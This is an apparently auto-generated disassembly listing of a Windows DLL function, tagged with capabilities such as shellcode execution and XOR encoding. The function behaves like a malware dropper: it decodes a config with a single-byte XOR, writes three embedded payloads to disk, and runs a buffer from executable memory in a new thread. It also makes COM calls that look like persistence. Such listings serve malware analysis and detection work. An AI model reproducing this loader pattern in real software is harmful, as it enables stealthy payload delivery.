Function at 0x180001010
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x850]
sub rsp, 0x950
mov rax, qword [0x18011fcf8]
xor rax, rsp
mov qword [rbp + 0x830], rax
mov rsi, rcx
mov ecx, 0xa88
call qword [sym.imp.msvcrt.dll_malloc]
mov rbx, rax
test rax, rax
je 0x180001590
mov qword [rsp + 0x978], rdi
xor edx, edx
mov qword [rsp + 0x980], r12
mov r8d, 0xa88
mov rcx, rax
mov qword [rsp + 0x940], r15
call sub.ntdll.dll_memset
mov ecx, dword [rsi]
xor r12d, r12d
test ecx, ecx
jne 0x180001084
mov edi, r12d
jmp 0x1800010c4
add ecx, 4
mov edx, dword [rcx + rsi]
test edx, edx
jne 0x180001093
mov edi, r12d
jmp 0x1800010c4
lea edi, [rcx + 4]
add edi, edx
mov eax, edi
add edi, 4
cmp dword [rax + rsi], 0xa88
je 0x1800010ab
mov edi, r12d
jmp 0x1800010c4
mov edx, edi
mov rcx, rbx
add rdx, rsi
mov r8d, 0xa88
call sub.ntdll.dll_memcpy
add edi, 0xa88
mov ecx, 0x855cc
call qword [sym.imp.msvcrt.dll_malloc]
mov r15, rax
test rax, rax
je 0x180001578
mov r8d, 0x855cc
lea rdx, [0x18008ce68]
mov rcx, rax
call sub.ntdll.dll_memcpy
lea rcx, [r15 + 0x84b40]
mov rdx, rbx
mov r8d, 0xa88
call sub.ntdll.dll_memcpy
movdqa xmm2, xmmword [str.::::::::::::::::]
lea rcx, [rbx + 0x20]
mov eax, 0x2a
nop word [rax + rax]
movdqu xmm0, xmmword [rcx - 0x20]
lea rcx, [rcx + 0x40]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x60], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rcx - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rcx - 0x40], xmm1
movdqu xmm0, xmmword [rcx - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rcx - 0x30], xmm0
sub rax, 1
jne 0x180001120
lea rax, [rbx + 0xa80]
mov ecx, 8
nop word [rax + rax]
xor byte [rax], 0x3a
lea rax, [rax + 1]
sub rcx, 1
jne 0x180001180
test edi, edi
je 0x180001578
mov qword [rsp + 0x988], r13
lea rcx, [rbp + 0x200]
xor edx, edx
mov qword [rsp + 0x948], r14
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, [rbx + 0x92c]
lea r8, [rbx + 0x864]
lea rdx, str._s_s
lea rcx, [rbp + 0x200]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x200]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp - 0x40], r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x18000121a
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000124c
lea r9, [rbp - 0x40]
mov qword [rsp + 0x20], r12
mov r8d, 0x3a330
lea rdx, [0x18000cb38]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180001243
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rbp + 0x410]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, [rbx + 0x990]
lea r8, [rbx + 0x864]
lea rdx, str._s_s
lea rcx, [rbp + 0x410]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x410]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp - 0x40], r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x1800012cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800012fe
lea r9, [rbp - 0x40]
mov qword [rsp + 0x20], r12
mov r8d, 0x46000
lea rdx, [0x180046e68]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800012f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rbp + 0x620]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, [rbx + 0x9f4]
lea r8, [rbx + 0x864]
lea rdx, str._s_s
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], r12
lea rcx, [rbp + 0x620]
mov dword [rsp + 0x28], r12d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov dword [rbp - 0x40], r12d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x18000137e
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800013ac
lea r9, [rbp - 0x40]
mov qword [rsp + 0x20], r12
mov r8d, 0x855cc
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1800013a3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsi]
test eax, eax
je 0x180001568
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180001568
lea rdx, [rsi + 4]
mov r8d, r12d
mov rcx, rax
call sub.ntdll.dll_memcpy
xor r12d, r12d
mov r9, r15
mov qword [rsp + 0x28], r12
mov r8, r14
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [rbp - 0x40]
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
call fcn.180001a10
mov r14, qword [rbp - 0x40]
test r14, r14
je 0x180001523
xorps xmm0, xmm0
lea rcx, [rbp - 0x30]
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm1, xmmword [rbp - 0x30]
lea rcx, [rsp + 0x40]
mov rax, qword [r14]
movsd xmm0, qword [rbp - 0x20]
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x80]
mov rcx, r14
movaps xmmword [rsp + 0x40], xmm1
lea rdx, [rbp - 0x60]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rbp - 0x80], xmm1
movaps xmmword [rbp - 0x60], xmm1
movsd qword [rsp + 0x50], xmm0
movsd qword [rsp + 0x70], xmm0
movsd qword [rbp - 0x70], xmm0
movsd qword [rbp - 0x50], xmm0
call qword [rax + 0x50]
test eax, eax
js 0x1800014be
lea rcx, str.MicrosoftWindows
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r9, qword [r14]
lea r8, [rbp - 0x38]
mov rdx, rax
mov rcx, r14
call qword [r9 + 0x38]
test eax, eax
jns 0x1800014c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp qword [rbp - 0x38], r12
je 0x180001523
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, [rbx + 0x92c]
lea r8, [rbx + 0x864]
lea rdx, str._s_s
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rbp - 0x40]
lea rdx, [rbx + 0x738]
mov qword [rsp + 0x30], rax
lea rcx, [rbx + 0x670]
mov rax, qword [rbp - 0x38]
lea r8, [rbp - 0x10]
mov qword [rsp + 0x28], rax
call fcn.180001d60
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x208
call sub.ntdll.dll_memset
mov eax, edi
lea edx, [rdi + 4]
add rdx, rsi
lea rcx, [rbp - 0x10]
mov r8d, dword [rax + rsi]
call sub.ntdll.dll_memcpy
lea r9, [rbp - 0x10]
mov qword [rsp + 0x28], r12
lea r8, [0x1800019d0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, qword [rsp + 0x948]
mov r13, qword [rsp + 0x988]
mov r12, qword [rsp + 0x980]
mov rdi, qword [rsp + 0x978]
mov r15, qword [rsp + 0x940]
mov rcx, qword [rbp + 0x830]
xor rcx, rsp
call fcn.180112460
add rsp, 0x950
pop rsi
pop rbx
pop rbp
ret